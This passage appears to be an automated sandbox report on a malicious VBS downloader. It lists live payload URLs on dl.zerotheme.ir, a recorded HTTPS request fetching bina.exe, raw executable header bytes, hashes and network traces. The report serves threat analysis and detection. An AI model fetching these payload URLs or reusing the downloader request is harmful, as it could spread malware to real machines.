          fp2e7a.wpc.phicdn.net
          		192.229.221.95
          		truefalseunknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          https://dl.zerotheme.ir/kokorila/cgl-bin/bina.exetrueunknown
          https://dl.zerotheme.ir/kokorila/cgl-bin/DLLL.dlltrueunknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          https://dl.zerotheme.irtemp_exec.exe, 00000002.00000002.2093264557.0000000002FAC000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000002F9B000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000002FF5000.00000004.00000800.00020000.00000000.sdmptrueunknown
          http://dl.zerotheme.irdtemp_exec.exe, 00000002.00000002.2093264557.0000000002FB2000.00000004.00000800.00020000.00000000.sdmptrue
            		unknown
            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nametemp_exec.exe, 00000002.00000002.2093264557.0000000002F9B000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://dl.zerotheme.irtemp_exec.exe, 00000002.00000002.2093264557.0000000002FB2000.00000004.00000800.00020000.00000000.sdmptrueunknown
            https://dl.zerotheme.ir/kokorila/cgl-bin/bina.exebhttps://dl.zerotheme.ir/kokorila/cgl-bin/DLLL.dlltemp_exec.exe, 00000002.00000002.2093264557.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, temp_exec.exe, 00000002.00000002.2093264557.0000000002EE3000.00000004.00000800.00020000.00000000.sdmptrueunknown

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            185.18.213.20
            		dl.zerotheme.irIran (ISLAMIC Republic Of)
            		44285SEFROYEKPARDAZENG-ASAS42043-BertinaTechnologyCompanyIRfalse

            General Information

            Joe Sandbox version:41.0.0 Charoite
            Analysis ID:1522524
            Start date and time:2024-09-30 10:02:34 +02:00
            Joe Sandbox product:CloudBasic
            Overall analysis duration:0h 4m 41s
            Hypervisor based Inspection enabled:false
            Report type:full
            Cookbook file name:default.jbs
            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
            Number of analysed new started processes analysed:5
            Number of new started drivers analysed:0
            Number of existing processes analysed:0
            Number of existing drivers analysed:0
            Number of injected processes analysed:0
            Technologies:
            • HCA enabled
            • EGA enabled
            • AMSI enabled
            Analysis Mode:default
            Analysis stop reason:Timeout
            Sample name:QT2Q1292300924.vbs
            Detection:MAL
            Classification:mal100.troj.evad.winVBS@7/2@1/1
            EGA Information:
            • Successful, ratio: 100%
            HCA Information:
            • Successful, ratio: 100%
            • Number of executed functions: 52
            • Number of non-executed functions: 269
            Cookbook Comments:
            • Found application associated with file extension: .vbs
            • Stop behavior analysis, all processes terminated

            Warnings

            • Exclude process from analysis (whitelisted): dllhost.exe
            • Excluded IPs from analysis (whitelisted): 20.114.59.183
            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ocsp.edge.digicert.com, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
            • Report size getting too big, too many NtOpenKeyEx calls found.
            • Report size getting too big, too many NtProtectVirtualMemory calls found.
            • Report size getting too big, too many NtQueryValueKey calls found.
            • Report size getting too big, too many NtReadVirtualMemory calls found.
            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

            Simulations

            Behavior and APIs

            TimeTypeDescription
            04:03:28API Interceptor16x Sleep call for process: temp_exec.exe modified
            04:03:32API Interceptor3x Sleep call for process: aspnet_compiler.exe modified

            Joe Sandbox View / Context

            IPs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            185.18.213.20eMJ2QgQF4u.rtfGet hashmaliciousFormBookBrowse
              QT2Q1292.xla.xlsxGet hashmaliciousFormBookBrowse

                Domains

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                dl.zerotheme.ireMJ2QgQF4u.rtfGet hashmaliciousFormBookBrowse
                • 185.18.213.20
                QT2Q1292.xla.xlsxGet hashmaliciousFormBookBrowse
                • 185.18.213.20
                bg.microsoft.map.fastly.netUrgent Quotation Notification_pdf.vbsGet hashmaliciousUnknownBrowse
                • 199.232.214.172
                http://hrlaw.com.auGet hashmaliciousUnknownBrowse
                • 199.232.214.172
                https://url.uk.m.mimecastprotect.com/s/r06pCLv4mSmE7ORSBfNCyUvN-?domain=clicktracking.yellowbook.com/Get hashmaliciousUnknownBrowse
                • 199.232.214.172
                https://www.google.ad/amp/clck.ru/3DSSA9?hghgHGHGHJGhghdgddghfhghfgdgdgdgfhgg?sdfsewsrewrettfgGet hashmaliciousUnknownBrowse
                • 199.232.214.172
                yVhGfho0R4.exeGet hashmaliciousRemcosBrowse
                • 199.232.214.172
                https://pokerfanboy.com/Get hashmaliciousUnknownBrowse
                • 199.232.210.172
                https://polap77.com/Get hashmaliciousHTMLPhisherBrowse
                • 199.232.214.172
                https://pokegamaclub.com/Get hashmaliciousUnknownBrowse
                • 199.232.214.172
                Transmission Cost Database 2.0.xlsbGet hashmaliciousUnknownBrowse
                • 199.232.214.172
                https://okfun188.com/Get hashmaliciousUnknownBrowse
                • 199.232.214.172
                fp2e7a.wpc.phicdn.nethttp://hrlaw.com.auGet hashmaliciousUnknownBrowse
                • 192.229.221.95
                Advisory23-UCDMS04-11-01.pdf.lnkGet hashmaliciousUnknownBrowse
                • 192.229.221.95
                https://url.uk.m.mimecastprotect.com/s/r06pCLv4mSmE7ORSBfNCyUvN-?domain=clicktracking.yellowbook.com/Get hashmaliciousUnknownBrowse
                • 192.229.221.95
                https://wwvmicrosx.live/office365/office_cookies/mainGet hashmaliciousHTMLPhisherBrowse
                • 192.229.221.95
                https://www.google.ad/amp/clck.ru/3DSSA9?hghgHGHGHJGhghdgddghfhghfgdgdgdgfhgg?sdfsewsrewrettfgGet hashmaliciousUnknownBrowse
                • 192.229.221.95
                http://jeevankiranfoundationcenter.co.in/css/rrp.htmGet hashmaliciousKutakiBrowse
                • 192.229.221.95
                yVhGfho0R4.exeGet hashmaliciousRemcosBrowse
                • 192.229.221.95
                https://polidos.com/Get hashmaliciousUnknownBrowse
                • 192.229.221.95
                https://pokerfanboy.com/Get hashmaliciousUnknownBrowse
                • 192.229.221.95
                https://polap77.com/Get hashmaliciousHTMLPhisherBrowse
                • 192.229.221.95

                ASNs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                SEFROYEKPARDAZENG-ASAS42043-BertinaTechnologyCompanyIReMJ2QgQF4u.rtfGet hashmaliciousFormBookBrowse
                • 185.18.213.20
                QT2Q1292.xla.xlsxGet hashmaliciousFormBookBrowse
                • 185.18.213.20
                https://monogogo.info/JQJMLAWN#em=npaladino@bigge.comGet hashmaliciousPhisherBrowse
                • 45.140.247.113
                qD7cj0t7Ag.elfGet hashmaliciousMirai, MoobotBrowse
                • 45.140.242.232
                mDjOa15q8T.elfGet hashmaliciousMiraiBrowse
                • 45.140.241.81
                NiAsQEhh9p.elfGet hashmaliciousMiraiBrowse
                • 45.156.181.90
                enEQvjUlGl.elfGet hashmaliciousMiraiBrowse
                • 45.140.241.74
                InLf78j8qW.elfGet hashmaliciousMiraiBrowse
                • 45.140.242.215
                4KXNneQz0d.elfGet hashmaliciousUnknownBrowse
                • 185.182.248.108
                hAs0X5MYKz.elfGet hashmaliciousMiraiBrowse
                • 45.140.242.239

                JA3 Fingerprints

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                3b5074b1b5d032e5620f69f9f700ff0eNTS_eTaxInvoice.html.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                • 185.18.213.20
                RFQ-5120240930 VENETA PESCA SRL.vbsGet hashmaliciousVIP KeyloggerBrowse
                • 185.18.213.20
                Faktura_82666410_1361590461#U00b7pdf.vbeGet hashmaliciousRemcos, GuLoaderBrowse
                • 185.18.213.20
                11309-#U96fb#U4fe1#U8cbb#U96fb#U5b50#U901a#U77e5#U55ae#U00b7pdf.vbsGet hashmaliciousGuLoaderBrowse
                • 185.18.213.20
                Urgent Quotation Notification_pdf.vbsGet hashmaliciousUnknownBrowse
                • 185.18.213.20
                http://hrlaw.com.auGet hashmaliciousUnknownBrowse
                • 185.18.213.20
                file.exeGet hashmaliciousUnknownBrowse
                • 185.18.213.20
                file.exeGet hashmaliciousUnknownBrowse
                • 185.18.213.20
                CAPE MARS VSL'S PARTICULARS.docx.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                • 185.18.213.20
                MV TASOS Vessel's Details.docx.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                • 185.18.213.20

                Dropped Files

                ⊘No context

                Created / dropped Files

                C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\temp_exec.exe.log

                Download File
                Process:C:\Users\user\AppData\Local\Temp\temp_exec.exe
                File Type:CSV text
                Category:dropped
                Size (bytes):847
                Entropy (8bit):5.345615485833535
                Encrypted:false
                SSDEEP:24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
                MD5:EEEC189088CC5F1F69CEE62A3BE59EA2
                SHA1:250F25CE24458FC0C581FDDF59FAA26D557844C5
                SHA-256:5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
                SHA-512:2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
                Malicious:false
                Reputation:moderate, very likely benign file
                Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

                C:\Users\user\AppData\Local\Temp\temp_exec.exe

                Download File
                Process:C:\Windows\System32\wscript.exe
                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                Category:dropped
                Size (bytes):86344
                Entropy (8bit):7.227831135775574
                Encrypted:false
                SSDEEP:1536:lJ5V7RmVQHVZII4JfAxa6UB+UjQSfYmkT0LHxWvW7Hxi+77wjxr:b7RgQ1hcIxa6Au4LmWQ+7c9
                MD5:055742AC290225D245F94E168DC06A76
                SHA1:1AD224B77A97F558A731FDF1D4D4E7E6B1CF194E
                SHA-256:362234001FBBA9BBC1CC503B547C42D8FD1B1C713AB815D945743E79D8DF8730
                SHA-512:C8A0BE7E44C2438B0170983C387F8397C8E47F76F76DA9A6B3C32C005D7C490BCC21891D80AA7FC172D6D5915BC3DAFD615B31BFE52CFD4049F06118D2714E43
                Malicious:true
                Antivirus:
                • Antivirus: Avira, Detection: 100%
                • Antivirus: Joe Sandbox ML, Detection: 100%
                • Antivirus: Virustotal, Detection: 21%, Browse
                Reputation:low
                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5..f..............0.............z.... ........@.. .......................`............`................................. ...W.......0k..............HQ...........K............................................... ............... ..H............text........ ...................... ..`.reloc..............................@..B.rsrc...0k.......l..................@..@................\.......H.......`L...b...........B..X...........................................".(.....*....0...........(2.....*....0..[........~....~........,@.E.........-......&..(....%&(....%&(7...%&(....%&(....%&........~.....+..*..0...........~.....+..*..0.................*.0...........(U...*..0...........(V....*.0..........s....(....%&t.........*..0...........~.....+..*..0..M.......(\...%&.......sW...(....(\...%&.......sW...(....(?.....(....%&..(....%&.....*....0...........(2...*..0..........

                Static File Info

                General

                File type:ASCII text, with very long lines (65478), with CRLF line terminators
                Entropy (8bit):5.261910246720604
                TrID:
                • Visual Basic Script (13500/0) 100.00%
                File name:QT2Q1292300924.vbs
                File size:296'072 bytes
                MD5:89aa513b7cfd714c24c50f05eb9481e5
                SHA1:41423bffc04045cb290ee12b2fd6c9b1b04f0b17
                SHA256:4bb4cdefee252662fa8e54be243b7fe819bccc08d69c206bcf8633588615090f
                SHA512:5842e803e5676c485ad94a60af21582e5ad6560435c7f3228d37b2eaf95dc1c018f5f455866a109fdc7464cbc5e5689b72d3c6810f719fb162e307a5e3d847ad
                SSDEEP:3072:4sVbOQv0kbT6co98cqJ0wT/EITtrIe93l7sVbOQv0kbT6co98cqJ0wT/EITtrIeB:OQ8kQqJjtTtv3VQ8kQqJjtTtv3j
                TLSH:15547C72CF0579494783377C8B49275BFC4C49B8E3A6DEE4E6AB942041E9B313167AC8
                File Content Preview:' Main script logic for processing Base64-encoded data....' Define the Base64-encoded string (use actual data in place of "));;;qQ@@@@M@@@@@@@@E@@@@@@@@//8@@@@Lg@@@@@@@@@@@@@@@@@@Q@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

                File Icon

                Icon Hash:68d69b8f86ab9a86

                Network Behavior

                Suricata IDS Alerts

                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                2024-09-30T10:03:30.081361+02002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549705185.18.213.20443TCP

                Network Port Distribution

                TCP Packets

                TimestampSource PortDest PortSource IPDest IP
                Sep 30, 2024 10:03:26.745471001 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:26.745516062 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:26.745609045 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:26.750905037 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:26.750916958 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:27.573914051 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:27.574110031 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:27.578809023 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:27.578820944 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:27.579113007 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:27.620027065 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:27.651563883 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:27.699414015 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.038217068 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.088648081 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.208810091 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.208841085 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.208858967 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.208901882 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.208914042 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.208935976 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.208962917 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.208966017 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.208985090 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.208991051 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.209036112 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.222935915 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.222980976 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.223023891 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.223037004 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.223067045 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.223086119 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.378715038 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.378768921 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.379848957 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.379848957 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.379873037 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.379925013 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.380297899 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.380311966 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.380367041 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.380373955 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.380423069 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.382999897 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.383016109 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.383120060 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.383126020 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.383176088 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.467150927 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.467169046 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.467297077 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.467314005 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.467365980 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.550026894 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.550045967 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.550303936 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.550318956 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.550364971 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.551470995 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.551487923 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.551580906 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.551587105 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.551635027 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.552289963 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.552304983 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.552382946 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.552388906 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.552433014 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.554066896 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.554083109 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.554187059 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.554202080 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.554251909 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.555649042 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.555664062 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.555738926 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.555743933 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.555793047 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.556662083 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.556675911 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.556740046 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.556745052 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.556776047 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.556797028 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.638854027 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.638874054 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.639053106 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.639077902 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.639173031 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.720452070 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.720470905 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.720583916 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.720593929 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.720643044 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.721354961 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.721369982 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.721437931 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.721443892 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.721491098 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.723593950 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.723608971 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.723669052 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.723670006 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.723680019 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.723720074 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.723969936 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.724014044 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.724035978 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.724040985 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.724072933 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.724100113 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.724251986 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.724313021 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.724314928 CEST44349704185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.724380016 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.768003941 CEST49704443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.790750980 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.790838957 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:28.790935040 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.799592018 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:28.799631119 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:29.603852987 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:29.606240034 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:29.606256008 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.081377983 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.135616064 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:30.135669947 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.182466984 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:30.254021883 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.254059076 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.254101992 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.254121065 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.254151106 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.254160881 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:30.254216909 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:30.254385948 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.254499912 CEST44349705185.18.213.20192.168.2.5
                Sep 30, 2024 10:03:30.254559994 CEST49705443192.168.2.5185.18.213.20
                Sep 30, 2024 10:03:30.254868031 CEST49705443192.168.2.5185.18.213.20

                UDP Packets

                TimestampSource PortDest PortSource IPDest IP
                Sep 30, 2024 10:03:26.387151003 CEST5644353192.168.2.51.1.1.1
                Sep 30, 2024 10:03:26.739684105 CEST53564431.1.1.1192.168.2.5

                DNS Queries

                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Sep 30, 2024 10:03:26.387151003 CEST192.168.2.51.1.1.10x625eStandard query (0)dl.zerotheme.irA (IP address)IN (0x0001)false

                DNS Answers

                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Sep 30, 2024 10:03:26.739684105 CEST1.1.1.1192.168.2.50x625eNo error (0)dl.zerotheme.ir185.18.213.20A (IP address)IN (0x0001)false
                Sep 30, 2024 10:03:40.603621960 CEST1.1.1.1192.168.2.50x9f26No error (0)bg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                Sep 30, 2024 10:03:40.603621960 CEST1.1.1.1192.168.2.50x9f26No error (0)bg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                Sep 30, 2024 10:03:41.097291946 CEST1.1.1.1192.168.2.50x6a08No error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
                Sep 30, 2024 10:03:41.097291946 CEST1.1.1.1192.168.2.50x6a08No error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false

                HTTP Request Dependency Graph

                • dl.zerotheme.ir

                HTTPS Proxied Packets

                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                0192.168.2.549704185.18.213.204433840C:\Users\user\AppData\Local\Temp\temp_exec.exe
                TimestampBytes transferredDirectionData
                2024-09-30 08:03:27 UTC90OUTGET /kokorila/cgl-bin/bina.exe HTTP/1.1
                Host: dl.zerotheme.ir
                Connection: Keep-Alive
                2024-09-30 08:03:28 UTC207INHTTP/1.1 200 OK
                Connection: close
                content-type: application/x-msdownload
                last-modified: Mon, 30 Sep 2024 07:44:02 GMT
                accept-ranges: bytes
                content-length: 286208
                date: Mon, 30 Sep 2024 08:03:27 GMT
                2024-09-30 08:03:28 UTC16384INData Raw: 4d 5a 45 52 e8 00 00 00 00 58 83 e8 09 8b c8 83 c0 3c 8b 00 03 c1 83 c0 28 03 08 ff e1 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 79 01 09 a0 3d 60 67 f3 3d 60 67 f3 3d 60 67 f3 1a a6 a8 f3 3a 60 67 f3 1a a6 aa f3 3c 60 67 f3 1a a6 ab f3 3c 60 67 f3 52 69 63 68 3d 60 67 f3 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 01 00 17 50 af 59 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 4c 04 00 00 00 00 00 00 00 00 00 30 15 00 00 00 10 00 00 00 60 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00
                Data Ascii: MZERX<(!L!This program cannot be run in DOS mode.$y=`g=`g=`g:`g<`g<`gRich=`gPELPYL0`@
